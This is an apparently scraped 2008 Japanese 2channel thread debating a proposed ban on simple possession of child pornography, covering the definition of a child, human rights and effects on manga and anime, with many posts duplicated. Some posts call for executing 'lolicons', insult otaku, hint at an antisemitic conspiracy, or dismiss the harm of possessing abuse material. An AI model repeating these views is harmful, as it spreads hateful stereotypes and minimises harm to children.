787 ：名無しさん＠九周年：2008/08/20(水) 14:19:39 ID:PjjUY2Of0
788 ：名無しさん＠九周年：2008/08/20(水) 14:19:55 ID:O726pG840
>>785
お前の脳内でだけなw
お前の脳内でだけなw
790 ：名無しさん＠九周年：2008/08/20(水) 14:20:44 ID:YVoVT1ZKO
オタクに自浄能力があればこうはならんかっただろうに。やっぱアホなんだなオタクって。
結局は自滅して終わり。負け犬は何をしても負け犬だな。
結局は自滅して終わり。負け犬は何をしても負け犬だな。
791 ：名無しさん＠九周年：2008/08/20(水) 14:20:49 ID:akKKNkN+0
>>784
>所持されていることが「人権侵害に繋がる場合」が確実にある。
そもそも所持されていることで起こる人権侵害って何？
精神的苦痛ってやつ？ つまりは感情問題だろ。
俺は法の上で感情を重視しすぎるのはよくないと思うが、あんたはどう思うの？
>所持されていることが「人権侵害に繋がる場合」が確実にある。
そもそも所持されていることで起こる人権侵害って何？
精神的苦痛ってやつ？ つまりは感情問題だろ。
俺は法の上で感情を重視しすぎるのはよくないと思うが、あんたはどう思うの？
792 ：名無しさん＠九周年：2008/08/20(水) 14:21:58 ID:PjjUY2Of0
793 ：名無しさん＠九周年：2008/08/20(水) 14:22:14 ID:nYj8I9bDO
対象物が間違ってる。
そもそも児童に欲情する奴が危険なのであって、
規制すんならそっち、
つまりロリコンは死刑。
そもそも児童に欲情する奴が危険なのであって、
規制すんならそっち、
つまりロリコンは死刑。
>>777
じゃあその情報は大嘘だ。
wikipediaの編集はやったことがないが
こういう後片付けまでやらないといけないのか（ため息）
だれか経験ある人が修正してくれないな。
反対派の情報工作が毎日並みか
それ以上にひどいことは理解しておいたほうがいい。
英語版のwikipedia見てみな
>A child is a person who has not reached the age of 18.
（児童とは18歳未満の人である）
じゃあその情報は大嘘だ。
wikipediaの編集はやったことがないが
こういう後片付けまでやらないといけないのか（ため息）
だれか経験ある人が修正してくれないな。
反対派の情報工作が毎日並みか
それ以上にひどいことは理解しておいたほうがいい。
英語版のwikipedia見てみな
>A child is a person who has not reached the age of 18.
（児童とは18歳未満の人である）
795 ：名無しさん＠九周年：2008/08/20(水) 14:23:07 ID:ajbtBv3qO
796 ：名無しさん＠九周年：2008/08/20(水) 14:23:29 ID:O726pG840
学会に入信さえすれ絶対逮捕されたりしないから
心配しなくて大丈夫だよ
教えを守る人はちゃんと救済されるように
世界はできてるんだよ
心配しなくて大丈夫だよ
教えを守る人はちゃんと救済されるように
世界はできてるんだよ
>>784
>また、何度も見られるケースのように、所持されていることが「人権侵害に繋がる場合」が確実にある。
繋がる場合に限定してないだろ。せめて限定しろって言ってるのに「そういう場合もあるから全部」
ってのがおかしい。
だからそれは言い訳なんじゃないか、狙いは別なんじゃないかと思われるわけだ。
っていうか矯風会は反ポルノなので明らかに狙いは別だが（君がってことじゃないよ）
>>789
麻薬は保護法益ないよ。大麻取締法で、誰の何を保護してるんだ？
>また、何度も見られるケースのように、所持されていることが「人権侵害に繋がる場合」が確実にある。
繋がる場合に限定してないだろ。せめて限定しろって言ってるのに「そういう場合もあるから全部」
ってのがおかしい。
だからそれは言い訳なんじゃないか、狙いは別なんじゃないかと思われるわけだ。
っていうか矯風会は反ポルノなので明らかに狙いは別だが（君がってことじゃないよ）
>>789
麻薬は保護法益ないよ。大麻取締法で、誰の何を保護してるんだ？
798 ：名無しさん＠九周年：2008/08/20(水) 14:24:03 ID:akKKNkN+0
>>793
危険というなら反政府思想や革命思想だって危険なわけだが。
しょせん変態の一人に過ぎないロリコンより、
思想は社会秩序を揺るがすからな。
オウムも社会変革を目指してサリンでテロやったわけだし。
危険というなら反政府思想や革命思想だって危険なわけだが。
しょせん変態の一人に過ぎないロリコンより、
思想は社会秩序を揺るがすからな。
オウムも社会変革を目指してサリンでテロやったわけだし。
799 ：名無しさん＠九周年：2008/08/20(水) 14:24:46 ID:bypcW39z0
なるほどな。
単純所持規制には問題があり、児童や児童ポルノの定義も議論の必要性があるってことは良く分かった。
３次元の児童ポルノについては、現行法でも十分に取り締まられているってことも分かった。
単純所持規制には問題があり、児童や児童ポルノの定義も議論の必要性があるってことは良く分かった。
３次元の児童ポルノについては、現行法でも十分に取り締まられているってことも分かった。
>>766
>なんていうか、君の議論は実際とは違って、かなり観念的な上思い込みが激しすぎる。
思い込みが激しいという印象論を、
「なんていうか」なんて根拠でぶつけられてもなあ…。
答えようがないじゃないか。
>「児童が傷ついてるから」って論拠だとすると、それはおかしいだろ。
>保護法益にならん。
死亡の例はともかく、国内の行為について何が人権侵害かを日本は独自に決定できるだろ。
外国人の子供であっても、人権侵害を保護法益と認めることになんで問題があるの？
>>767
>お前は規制に賛成しているようだが、どうして児童の人権をより守るべきだと思うの？
児童は肉体的・精神的に未発達で、
社会人になるための教育の途上にあり、
特別な保護が要請されるからだよ。
もっと詳しく知りたければ、児童福祉法の根拠でも調べてくれ。
ほぼそれと同じ理由だ。
>どこまで守ってやるのが正しいのか是非聞きたいね。
規制に賛成なわけだし、少なくとも単純所持を禁止するところまでだね。
>なんていうか、君の議論は実際とは違って、かなり観念的な上思い込みが激しすぎる。
思い込みが激しいという印象論を、
「なんていうか」なんて根拠でぶつけられてもなあ…。
答えようがないじゃないか。
>「児童が傷ついてるから」って論拠だとすると、それはおかしいだろ。
>保護法益にならん。
死亡の例はともかく、国内の行為について何が人権侵害かを日本は独自に決定できるだろ。
外国人の子供であっても、人権侵害を保護法益と認めることになんで問題があるの？
>>767
>お前は規制に賛成しているようだが、どうして児童の人権をより守るべきだと思うの？
児童は肉体的・精神的に未発達で、
社会人になるための教育の途上にあり、
特別な保護が要請されるからだよ。
もっと詳しく知りたければ、児童福祉法の根拠でも調べてくれ。
ほぼそれと同じ理由だ。
>どこまで守ってやるのが正しいのか是非聞きたいね。
規制に賛成なわけだし、少なくとも単純所持を禁止するところまでだね。
今北
アマゾンとかが購入者の名簿を提出して一斉検挙ってことですか？
秋葉で買っときゃーよかった
アマゾンとかが購入者の名簿を提出して一斉検挙ってことですか？
秋葉で買っときゃーよかった
802 ：名無しさん＠九周年：2008/08/20(水) 14:25:15 ID:nYj8I9bDO
803 ：名無しさん＠九周年：2008/08/20(水) 14:25:37 ID:z9TZYRo40
>>798
宮崎勤なんか、変態ロリの殺人鬼だっただろ。
宮崎勤なんか、変態ロリの殺人鬼だっただろ。
805 ：名無しさん＠九周年：2008/08/20(水) 14:27:19 ID:O726pG840
このスレはすでに学会員が占拠しました
807 ：名無しさん＠九周年：2008/08/20(水) 14:28:35 ID:d8gUr3oL0
>>800お前の妄想じみた思い込みなど何一つ信用できんのだが
憲法の基本権を児童の人権のために破棄しろって時点で滅茶苦茶だ
憲法の基本権を児童の人権のために破棄しろって時点で滅茶苦茶だ
>>794
なんか勘違いしてないか？
その後の改正で「児童とは18歳未満の人である」となったことを否定してるわけじゃないよ。
そっちがそのレスで訂正してくる前の書き込みに関して、君がソース出せっていうから出した
んであって、「イギリスは13歳以下だ！」と今主張してるわけではない。
最初の書き込みに対するソースとして提示しろっていうからしただけなんだ。
>>800
>外国人の子供であっても、人権侵害を保護法益と認めることになんで問題があるの？
人権を侵害していないからだ。
>>804
宮崎勤はロリではないよ。
なんか勘違いしてないか？
その後の改正で「児童とは18歳未満の人である」となったことを否定してるわけじゃないよ。
そっちがそのレスで訂正してくる前の書き込みに関して、君がソース出せっていうから出した
んであって、「イギリスは13歳以下だ！」と今主張してるわけではない。
最初の書き込みに対するソースとして提示しろっていうからしただけなんだ。
>>800
>外国人の子供であっても、人権侵害を保護法益と認めることになんで問題があるの？
人権を侵害していないからだ。
>>804
宮崎勤はロリではないよ。
809 ：名無しさん＠九周年：2008/08/20(水) 14:29:33 ID:akKKNkN+0
>>800
>もっと詳しく知りたければ、児童福祉法の根拠でも調べてくれ。
>ほぼそれと同じ理由だ。
他人の褌かねｗ
で、どうして君は児童福祉法の精神が正しいと思うわけ？
別に児童福祉法が出来る前だって、子供は育って大人になり社会を動かしてきたわけだが、
なぜそこにあらためて児童福祉法の精神が必要になったのさ？
>規制に賛成なわけだし、少なくとも単純所持を禁止するところまでだね。
単純所持禁止はほとんど保護にはならないだろうね。
効果があるとすれば世界がどんなものかを知らないガキにだけだ。
>もっと詳しく知りたければ、児童福祉法の根拠でも調べてくれ。
>ほぼそれと同じ理由だ。
他人の褌かねｗ
で、どうして君は児童福祉法の精神が正しいと思うわけ？
別に児童福祉法が出来る前だって、子供は育って大人になり社会を動かしてきたわけだが、
なぜそこにあらためて児童福祉法の精神が必要になったのさ？
>規制に賛成なわけだし、少なくとも単純所持を禁止するところまでだね。
単純所持禁止はほとんど保護にはならないだろうね。
効果があるとすれば世界がどんなものかを知らないガキにだけだ。
>>768
すぐにソース出せなくてすまんが、
各国の裁判状況等を英文をわざわざ訳して紹介している反対派のサイトにも、
イギリスは近年、18最未満に基準が引き上げられたと書いてあったよ。
ただ、別のレスで、「13歳未満までは無条件に所持禁止の対象、
13歳以上18歳未満は恋人同士の自己撮りものはOKといった条件がついている」というのを見たね。
13歳未満というのはそのことを言ってるんじゃないかな？
イギリスでは例外があっても、
基本的に18歳未満まで単純所持禁止ということだと思う。
まあ、探して見るよ。
すぐにソース出せなくてすまんが、
各国の裁判状況等を英文をわざわざ訳して紹介している反対派のサイトにも、
イギリスは近年、18最未満に基準が引き上げられたと書いてあったよ。
ただ、別のレスで、「13歳未満までは無条件に所持禁止の対象、
13歳以上18歳未満は恋人同士の自己撮りものはOKといった条件がついている」というのを見たね。
13歳未満というのはそのことを言ってるんじゃないかな？
イギリスでは例外があっても、
基本的に18歳未満まで単純所持禁止ということだと思う。
まあ、探して見るよ。
811 ：名無しさん＠九周年：2008/08/20(水) 14:30:02 ID:PjjUY2Of0
まぁ、規制されたら規制賛成派が次々と消されるだけだろうけどな。
ニートのアニメゲーム漫画愛好率１００％！
アニメゲーム漫画はニートの元凶！！
すぐに対策を！
青少年健全コンテンツ審査団体（有料）を設立し、コンテンツを健全化しよう！！
アニメゲーム漫画はニートの元凶！！
すぐに対策を！
青少年健全コンテンツ審査団体（有料）を設立し、コンテンツを健全化しよう！！
813 ：名無しさん＠九周年：2008/08/20(水) 14:33:59 ID:akKKNkN+0
>>804
アキバ通り魔事件で十数人を殺傷した加藤は派遣社員だったが、それが何か？
アキバ通り魔事件で十数人を殺傷した加藤は派遣社員だったが、それが何か？
814 ：名無しさん＠九周年：2008/08/20(水) 14:36:01 ID:YVoVT1ZKO
HENTAIでググるとキモオタが大好きな二次元ポルノが山のように現状はどう考えても国辱もの。
国会議員の先生方が危機感を抱くのも至極当然だわ。
国会議員の先生方が危機感を抱くのも至極当然だわ。
815 ：名無しさん＠九周年：2008/08/20(水) 14:36:47 ID:goo4DzbW0
>>812
黙れ！！！健全化はエゴを生み出す元だ！！！！！
黙れ！！！健全化はエゴを生み出す元だ！！！！！
>>804
ほどよくマスコミに洗脳されてますねｗ
ほどよくマスコミに洗脳されてますねｗ
>>777
>だからそういう構図の実物ヌードが、
>どうして扇情的なポルノと同一視されるのか、それが理不尽だってことだ。
扇情的なポルノに該当しないヌードは認められるだろ。
定義見ても、「性欲を刺激するものだけが処罰対象」とちゃんと書いてあるじゃないか…。
>だからそれが後だしなんだってば。
後出しも何も、今の法案審議において、児童の人権保護を訴えてないなんてあり得ないだろ。
おかしな反対派の妄想・陰謀論が仮に本当だとしても、
表向きの理由である人権侵害をアピールしないなんてありえないだろ？
それを考えても、「(表向きも)人権保護を訴えてない」という主張は無理ありすぎでしょ…。
>だからそういう構図の実物ヌードが、
>どうして扇情的なポルノと同一視されるのか、それが理不尽だってことだ。
扇情的なポルノに該当しないヌードは認められるだろ。
定義見ても、「性欲を刺激するものだけが処罰対象」とちゃんと書いてあるじゃないか…。
>だからそれが後だしなんだってば。
後出しも何も、今の法案審議において、児童の人権保護を訴えてないなんてあり得ないだろ。
おかしな反対派の妄想・陰謀論が仮に本当だとしても、
表向きの理由である人権侵害をアピールしないなんてありえないだろ？
それを考えても、「(表向きも)人権保護を訴えてない」という主張は無理ありすぎでしょ…。
819 ：名無しさん＠九周年：2008/08/20(水) 14:39:49 ID:bJIgfdoU0
821 ：名無しさん＠九周年：2008/08/20(水) 14:41:00 ID:PjjUY2Of0
822 ：名無しさん＠九周年：2008/08/20(水) 14:41:22 ID:goo4DzbW0
>>818
で、あなたは単純所持処罰は深刻な人権侵害だとは思わないの？
全ての人は、自己の所有物を自由に選定し、所持する権利があるんだが。
社会に公表・流通させたならともかく、私的に自室の中に
所持している物まで、法で選別規制するのが良い社会だと思う？
で、あなたは単純所持処罰は深刻な人権侵害だとは思わないの？
全ての人は、自己の所有物を自由に選定し、所持する権利があるんだが。
社会に公表・流通させたならともかく、私的に自室の中に
所持している物まで、法で選別規制するのが良い社会だと思う？
823 ：名無しさん＠九周年：2008/08/20(水) 14:41:48 ID:VbjPOEkq0
とりあえずさ、もしもこの法律通ったらおまいらどうする？
「ロリコン共の断末魔を高笑いしながら眺めてやるよｗﾌﾟｷﾞｬｰ！ｗｗ」のその後。
「誰でも簡単に入手できるものを持ってただけで麻薬と同じように逮捕」って法律ができた後。
俺ならまずむかつくヤツをこいつロリコンですって通報するね
「ロリコン共の断末魔を高笑いしながら眺めてやるよｗﾌﾟｷﾞｬｰ！ｗｗ」のその後。
「誰でも簡単に入手できるものを持ってただけで麻薬と同じように逮捕」って法律ができた後。
俺ならまずむかつくヤツをこいつロリコンですって通報するね
>>776
曖昧という批判があるのは認めるよ。
児童の人権保護の為にその定義にした上で、
その判断を司法過程に委ねるということがこれまでの国民の合意だろ。
「定義が曖昧で認められない」という一部の人間の判断とは
別の判断が国民的合意としてなされたということだろうね。
それが現実だよ。
少なくとも、「法案が通らないほど、曖昧さは圧倒的に問題だ」ということは間違いだ。
「法律化される程度には必要性・合理性がある一方で、あいまいという批判もある」
というのが現状だろう。
曖昧という批判があるのは認めるよ。
児童の人権保護の為にその定義にした上で、
その判断を司法過程に委ねるということがこれまでの国民の合意だろ。
「定義が曖昧で認められない」という一部の人間の判断とは
別の判断が国民的合意としてなされたということだろうね。
それが現実だよ。
少なくとも、「法案が通らないほど、曖昧さは圧倒的に問題だ」ということは間違いだ。
「法律化される程度には必要性・合理性がある一方で、あいまいという批判もある」
というのが現状だろう。
825 ：名無しさん＠九周年：2008/08/20(水) 14:43:11 ID:PjjUY2Of0
そもそも子供を一人にしなければよっぽどの事が無い限りこんな自体は起きないわけで、
子供の放置してた親の責任も追及するべきなのに無視なんだよな。
子供の放置してた親の責任も追及するべきなのに無視なんだよな。
826 ：名無しさん＠九周年：2008/08/20(水) 14:44:42 ID:akKKNkN+0
>>825
だったら警察を大幅に増やして監視してもらうんだな。まあ無意味だろうが。
だったら警察を大幅に増やして監視してもらうんだな。まあ無意味だろうが。
>>773
>される作品も存在するということだろう。そういう選別をする必要があるわけ？
「裸」には芸術品として認めるべきものがある一方で、
児童の人権侵害となる児童ポルノもある。
そのために選別が必要だろう。
>で、なぜあんたはそれを重視すべきだと思うの？
>なぜ「性欲を刺激するもの」はいけないわけ？
ポルノの蔓延のアピールは俺がしてるわけじゃないけどね。
重視すべきなのも、「いけない」のも、児童の人権侵害になるからでしょ。
>される作品も存在するということだろう。そういう選別をする必要があるわけ？
「裸」には芸術品として認めるべきものがある一方で、
児童の人権侵害となる児童ポルノもある。
そのために選別が必要だろう。
>で、なぜあんたはそれを重視すべきだと思うの？
>なぜ「性欲を刺激するもの」はいけないわけ？
ポルノの蔓延のアピールは俺がしてるわけじゃないけどね。
重視すべきなのも、「いけない」のも、児童の人権侵害になるからでしょ。
828 ：名無しさん＠九周年：2008/08/20(水) 14:45:19 ID:d8gUr3oL0
>>824そんな事以前に明らかな違憲法案なんだが
アンタの脳内では全て問題無いそうだがな
アンタの脳内では全て問題無いそうだがな
829 ：名無しさん＠九周年：2008/08/20(水) 14:45:20 ID:BMCHuxFF0
児童ポルノって親がグルになって撮ってるヤツあるじゃん
幾ら規制しても裏で流れて暴力団やマフィアの資金源になるだけ
幾ら規制しても裏で流れて暴力団やマフィアの資金源になるだけ
>>818
>扇情的なポルノに該当しないヌードは認められるだろ。
そんな保証はない。
>定義見ても、「性欲を刺激するものだけが処罰対象」とちゃんと書いてあるじゃないか…。
全裸なら基本的に処罰対象になる。実際そういう扱いになってる。
今日本で、プチトマトとか撮影できるか？
>表向きの理由である人権侵害をアピールしないなんてありえないだろ？
ありえないかありえるかの脳内妄想じゃなくて、実際の議論の場の話をしてくれ。
>扇情的なポルノに該当しないヌードは認められるだろ。
そんな保証はない。
>定義見ても、「性欲を刺激するものだけが処罰対象」とちゃんと書いてあるじゃないか…。
全裸なら基本的に処罰対象になる。実際そういう扱いになってる。
今日本で、プチトマトとか撮影できるか？
>表向きの理由である人権侵害をアピールしないなんてありえないだろ？
ありえないかありえるかの脳内妄想じゃなくて、実際の議論の場の話をしてくれ。
というか、もう成立は確定(自民、民主共に法案提出)なんだから
施行時期や施行後の事話した方がよくないかい？
施行時期や施行後の事話した方がよくないかい？
832 ：名無しさん＠九周年：2008/08/20(水) 14:47:02 ID:sNcn84QIO
今の世の中、ロリショタが犯罪的嗜好なのは間違いないからな。
表現の自由を侵害していると言ったところで公共の福祉を持ち出されちゃどーにもならん。
結局のところ、民主に選挙で勝ってもらわないかぎり俺たちに明日はない。
表現の自由を侵害していると言ったところで公共の福祉を持ち出されちゃどーにもならん。
結局のところ、民主に選挙で勝ってもらわないかぎり俺たちに明日はない。
>>830
清岡純子先生がいないので無理です
清岡純子先生がいないので無理です
834 ：名無しさん＠九周年：2008/08/20(水) 14:48:06 ID:BMCHuxFF0
835 ：名無しさん＠九周年：2008/08/20(水) 14:48:37 ID:PjjUY2Of0
で、その児童ポルノを作成してる８９３そのものをなんで捕まえないの？
836 ：名無しさん＠九周年：2008/08/20(水) 14:49:04 ID:vIz6bhzY0
単純所持規制は様々な罪もない被害者を生む。↓はその一部の例。
児童への人権侵害が行われている点。
単なるグラビアで逮捕された業者もおり、また逮捕を恐れて取り扱いを辞めた業者もいる。
だから、表現の自由を求めて反対している児童(グラドル)もいる。児童への人権侵害は酷だ。
2点目。
「児童ポルノ所持で逮捕される人達の例」
・発売後、モデルが18歳未満と判明した市販AVも多数。
・思春の森のような児童ポルノ映画も、昔は普通に市販されていた。（昔は邦画でも高校生が性行為を演じた作品は多々）
・18歳未満ヌード写真集のような児童ポルノ本は、昔は普通に近所の書店で売られベストセラーともなっていた。
これら市販品を購入した児童ポルノ所持者は数百万人以上なのは疑いようもなく、ロリコン犯罪者として逮捕される。
捨てるよう周知に一生懸命努めても、到底、周知は不可能。(地デジ問題が好例)
また、法文上は子供の時の自身の入浴写真所持ですら逮捕要件は満たされる。
国会議員は無責任に警察を全面的に信用して法律を丸投げすることは許されないし、
法律が施行される結果にも責任を持ち、制定されなければならない。
議員は”政治が問題を作り出す”を一体いつまで繰り返すつもり？
3点目。画像類から女子高生と成人女性(特に20代)との判別が不可能な点。
一般に女性は高校入学前に成長が止まるため、
女子高生と成人女性を身体的特徴から判別することは、専門家でも原則不可能。
成人女性と思い保存してた画像類が女子高生という場合は一般に起こりうるし、実際に度々起こらないわけがない。
類似法案である児童買春防止法では、児童が「18歳以上」と偽り騙された買春者までロリコンの汚名を着せられ逮捕されてる。
世界とは違い、日本の警察では高校生の児童ポルノを中心に取り締まっている。
成人女性と思って保存してた画像類が女子高生だった場合、
家宅捜索で地域社会からはロリコン犯罪者扱いされ、家を売却して逃げたり失職し家庭崩壊したり、
これらが多々発生しないわけがない。
彼らには過失もない。多数の子供達も大人も犠牲者になる為、あまりにも可哀想。
837 ：名無しさん＠九周年：2008/08/20(水) 14:49:18 ID:emWwVacR0
児ポ法成立！どうなるコミケ！
839 ：名無しさん＠九周年：2008/08/20(水) 14:49:43 ID:akKKNkN+0
>>827
あんたってさあ、さっきから見てると「人権侵害だからダメ」としか言ってないんだけど？
あんたってさあ、さっきから見てると「人権侵害だからダメ」としか言ってないんだけど？
840 ：名無しさん＠九周年：2008/08/20(水) 14:49:49 ID:goo4DzbW0
>>827
＞重視すべきなのも、「いけない」のも、児童の人権侵害になるからでしょ。
所持規制は、所持者の人権侵害になるよね。
財産権・プライバシー権・思想の自由等を侵害するんだが
これについては、どう考えるんだ？
＞重視すべきなのも、「いけない」のも、児童の人権侵害になるからでしょ。
所持規制は、所持者の人権侵害になるよね。
財産権・プライバシー権・思想の自由等を侵害するんだが
これについては、どう考えるんだ？
>>781
>広く流通していないって事は、現行法が有効という証左でしょ。
ある程度は有効でもそれが完全ではないから、摘発が後を絶たないんだろ。
そして、改正法で別の対処をする必要がそこにある。
>実際、今時普通のエロビデオショップに行っても
>児童ポルノなんて全く売ってないよ。
君が見えてないところに人権救済すべき被害があるだけだよ。
児童ポルノは摘発されて、その出演児童は被害にあっている。
これは否定できないだろ。
>>783
>今取り締まってるものに限定するのなら、法案も限定すればいい。
>今の法案は、今逮捕しているものに限定されてない。はるかに幅広い。
>「逮捕していない」だけであって、「逮捕できない」わけではない。
「限定云々」これは児童ポルノの定義の話だよね？
児童ポルノの定義には法律上、変化がない。
法律上の変化がないのに、幅が変化するといわれてもなあ…。
>逆に今逮捕してないのに問題が生じてないなら、
>これ以上範囲を広げる必要もないわけだ。
そりゃあ、児童ポルノに該当しないとして、
「今逮捕していない作品」に問題は生じてないでしょ。
今も逮捕しているような児童ポルノ作品について、
違法対象となる行為を所持まで広げる必要があるだけだよ。
範囲を広げるのは児童ポルノの定義を広げるのではなく、
「今も逮捕しているような児童ポルノ該当作品」について、
違法となる行為を広げるだけだよ。
>広く流通していないって事は、現行法が有効という証左でしょ。
ある程度は有効でもそれが完全ではないから、摘発が後を絶たないんだろ。
そして、改正法で別の対処をする必要がそこにある。
>実際、今時普通のエロビデオショップに行っても
>児童ポルノなんて全く売ってないよ。
君が見えてないところに人権救済すべき被害があるだけだよ。
児童ポルノは摘発されて、その出演児童は被害にあっている。
これは否定できないだろ。
>>783
>今取り締まってるものに限定するのなら、法案も限定すればいい。
>今の法案は、今逮捕しているものに限定されてない。はるかに幅広い。
>「逮捕していない」だけであって、「逮捕できない」わけではない。
「限定云々」これは児童ポルノの定義の話だよね？
児童ポルノの定義には法律上、変化がない。
法律上の変化がないのに、幅が変化するといわれてもなあ…。
>逆に今逮捕してないのに問題が生じてないなら、
>これ以上範囲を広げる必要もないわけだ。
そりゃあ、児童ポルノに該当しないとして、
「今逮捕していない作品」に問題は生じてないでしょ。
今も逮捕しているような児童ポルノ作品について、
違法対象となる行為を所持まで広げる必要があるだけだよ。
範囲を広げるのは児童ポルノの定義を広げるのではなく、
「今も逮捕しているような児童ポルノ該当作品」について、
違法となる行為を広げるだけだよ。
842 ：名無しさん＠九周年：2008/08/20(水) 14:52:10 ID:PjjUY2Of0
これ情報の規制だよな？
どうやって脳内の記憶まで消すんだ？
どうやって脳内の記憶まで消すんだ？
>>808
>人権を侵害していないからだ
意味がわからん…。
「海外では人権侵害が認定されないが、
日本国内では人権侵害を認定される外国人」のことだよね？
日本国内での行為については、日本の人権侵害認定が適用されるだけだよ。
>人権を侵害していないからだ
意味がわからん…。
「海外では人権侵害が認定されないが、
日本国内では人権侵害を認定される外国人」のことだよね？
日本国内での行為については、日本の人権侵害認定が適用されるだけだよ。
844 ：名無しさん＠九周年：2008/08/20(水) 14:54:29 ID:goo4DzbW0
845 ：名無しさん＠九周年：2008/08/20(水) 14:54:30 ID:bypcW39z0
結局どうなるの
847 ：名無しさん＠九周年：2008/08/20(水) 14:55:14 ID:vYhU5UjXi
ユ◯ヤ色の強い政党や国家ほど
この手の法案の成立に躍起にやるのはどうしてなぜなんだぜ
この手の法案の成立に躍起にやるのはどうしてなぜなんだぜ
>>841
摘発が後を絶たないってほど多くない。
はい、警視庁のデータ
ttp://www.npa.go.jp/cyber/statics/h20/pdf42.pdf
>児童ポルノは摘発されて、その出演児童は被害にあっている。
だからその傷ついてる例を出してくれって言ってるのに。
「逮捕されてるからあるはずだ」じゃ想像にすぎない。傷ついてるかどうかは逮捕とは関係ない。
>法律上の変化がないのに、幅が変化するといわれてもなあ…。
幅が変化するってことじゃなくて、「今の」法案があまりにも幅が広いって話。
現時点で取締りをしていないことは、今後取り締まりしないことの保証にはならない。
今の定義が広すぎるっていう問題点指摘はずっと前からされている。
摘発が後を絶たないってほど多くない。
はい、警視庁のデータ
ttp://www.npa.go.jp/cyber/statics/h20/pdf42.pdf
>児童ポルノは摘発されて、その出演児童は被害にあっている。
だからその傷ついてる例を出してくれって言ってるのに。
「逮捕されてるからあるはずだ」じゃ想像にすぎない。傷ついてるかどうかは逮捕とは関係ない。
>法律上の変化がないのに、幅が変化するといわれてもなあ…。
幅が変化するってことじゃなくて、「今の」法案があまりにも幅が広いって話。
現時点で取締りをしていないことは、今後取り締まりしないことの保証にはならない。
今の定義が広すぎるっていう問題点指摘はずっと前からされている。
850 ：名無しさん＠九周年：2008/08/20(水) 14:57:00 ID:PjjUY2Of0
姉妹と間違われる親子で
片方は規制の対象で片方は規制の対象外。
さてこれは困ったものだ。
片方は規制の対象で片方は規制の対象外。
さてこれは困ったものだ。
>>822
>で、あなたは単純所持処罰は深刻な人権侵害だとは思わないの？
児童ポルノが救済すべき児童の人権と比較した上でなら、
児童ポルノを所持している人の所有権を規制することは人権侵害だと思わないよ。
>社会に公表・流通させたならともかく、私的に自室の中に
>所持している物まで、法で選別規制するのが良い社会だと思う？
良い社会かどうかはともかく、
児童の人権が保護される社会だと思う。
別にユートピアを目指して規制に賛成してるんじゃないぞ。
児童ポルノを所持する人間の権利と、
児童の権利とどちらを重視するかの問題で後者を重視するだけだ。
>で、あなたは単純所持処罰は深刻な人権侵害だとは思わないの？
児童ポルノが救済すべき児童の人権と比較した上でなら、
児童ポルノを所持している人の所有権を規制することは人権侵害だと思わないよ。
>社会に公表・流通させたならともかく、私的に自室の中に
>所持している物まで、法で選別規制するのが良い社会だと思う？
良い社会かどうかはともかく、
児童の人権が保護される社会だと思う。
別にユートピアを目指して規制に賛成してるんじゃないぞ。
児童ポルノを所持する人間の権利と、
児童の権利とどちらを重視するかの問題で後者を重視するだけだ。
852 ：名無しさん＠九周年：2008/08/20(水) 14:58:27 ID:/wqP4ago0
ID:U+kpcgWk0 の主張をまとめておくｗ
１．自らが出演した児童ポルノ（ヌードも含む）を他人に所持されるのは
モデルにとって苦痛をともなうので人権侵害にあたる
２．仮に児童ポルノ（ヌードも含む）に出演したモデル自身が
「人権侵害でない」と主張しても人権侵害にあたる（当人の意思は関係ない）
３．日本の捜査機関と裁判所は充分信用できるので冤罪はほとんど起こらない
４．上記１と２は国民の総意
１．自らが出演した児童ポルノ（ヌードも含む）を他人に所持されるのは
モデルにとって苦痛をともなうので人権侵害にあたる
２．仮に児童ポルノ（ヌードも含む）に出演したモデル自身が
「人権侵害でない」と主張しても人権侵害にあたる（当人の意思は関係ない）
３．日本の捜査機関と裁判所は充分信用できるので冤罪はほとんど起こらない
４．上記１と２は国民の総意
>>834
共産党はユニセフの二次規制キャンペーンにに賛同した議員がいる
基本的には児童ポルノの規制強化に積極的なはず。
>>835
たとえば
関西円光シリーズで製作者や販売業者を逮捕したにもかかわらず
いまだにP2Pで流通してることについてどう思う。
共産党はユニセフの二次規制キャンペーンにに賛同した議員がいる
基本的には児童ポルノの規制強化に積極的なはず。
>>835
たとえば
関西円光シリーズで製作者や販売業者を逮捕したにもかかわらず
いまだにP2Pで流通してることについてどう思う。
>>830
>全裸なら基本的に処罰対象になる。実際そういう扱いになってる。
>今日本で、プチトマトとか撮影できるか？
すまん。プチトマトがどんなものか知らん。
全裸が定義の一部に触れる可能性はあっても、
別の要件が否定され、児童ポルノに該当しない可能性があるんだから、
全部が処罰されると確定しているわけじゃないだろ。
>全裸なら基本的に処罰対象になる。実際そういう扱いになってる。
>今日本で、プチトマトとか撮影できるか？
すまん。プチトマトがどんなものか知らん。
全裸が定義の一部に触れる可能性はあっても、
別の要件が否定され、児童ポルノに該当しない可能性があるんだから、
全部が処罰されると確定しているわけじゃないだろ。
結局どうなるの
856 ：名無しさん＠九周年：2008/08/20(水) 15:01:06 ID:goo4DzbW0
857 ：名無しさん＠九周年：2008/08/20(水) 15:01:23 ID:PjjUY2Of0
859 ：名無しさん＠九周年：2008/08/20(水) 15:01:23 ID:d8gUr3oL0
>>852全てが何一つ信用できない電波そのものだな
>>843
たとえば、日本国内では18歳以上じゃないとAV出演できないが、17歳で出演できる国も
あったりする。
そのAVを持っていたら逮捕っていうのは、誰の人権を保護していることになるんだ？
「国内での行為」って、単なる所持だろ。
>>851
アメリカやカナダやイギリスは、まったく改善されてないだろ。
そもそも優先すべきは現実の被害なのに、まず第1に人権被害で単純所持とか言ってるのが
おかしい。両方やれっていうのは君だけで、実際の議員はそういう動きではない。
そもそもマンパワーも予算も限りがあるんだよ。
単純所持で傷ついてる児童が大勢いるってことなら、当然根絶やしにする勢いで摘発するん
だろう？年間数万人の逮捕者を出すんだよな？
10人20人の逮捕じゃ、所持はどうにもならんからな。
たとえば、日本国内では18歳以上じゃないとAV出演できないが、17歳で出演できる国も
あったりする。
そのAVを持っていたら逮捕っていうのは、誰の人権を保護していることになるんだ？
「国内での行為」って、単なる所持だろ。
>>851
アメリカやカナダやイギリスは、まったく改善されてないだろ。
そもそも優先すべきは現実の被害なのに、まず第1に人権被害で単純所持とか言ってるのが
おかしい。両方やれっていうのは君だけで、実際の議員はそういう動きではない。
そもそもマンパワーも予算も限りがあるんだよ。
単純所持で傷ついてる児童が大勢いるってことなら、当然根絶やしにする勢いで摘発するん
だろう？年間数万人の逮捕者を出すんだよな？
10人20人の逮捕じゃ、所持はどうにもならんからな。
861 ：名無しさん＠九周年：2008/08/20(水) 15:01:57 ID:3GctdtSe0
女性オタクの人って、漫画やゲームの規制問題を知ってるのかな？
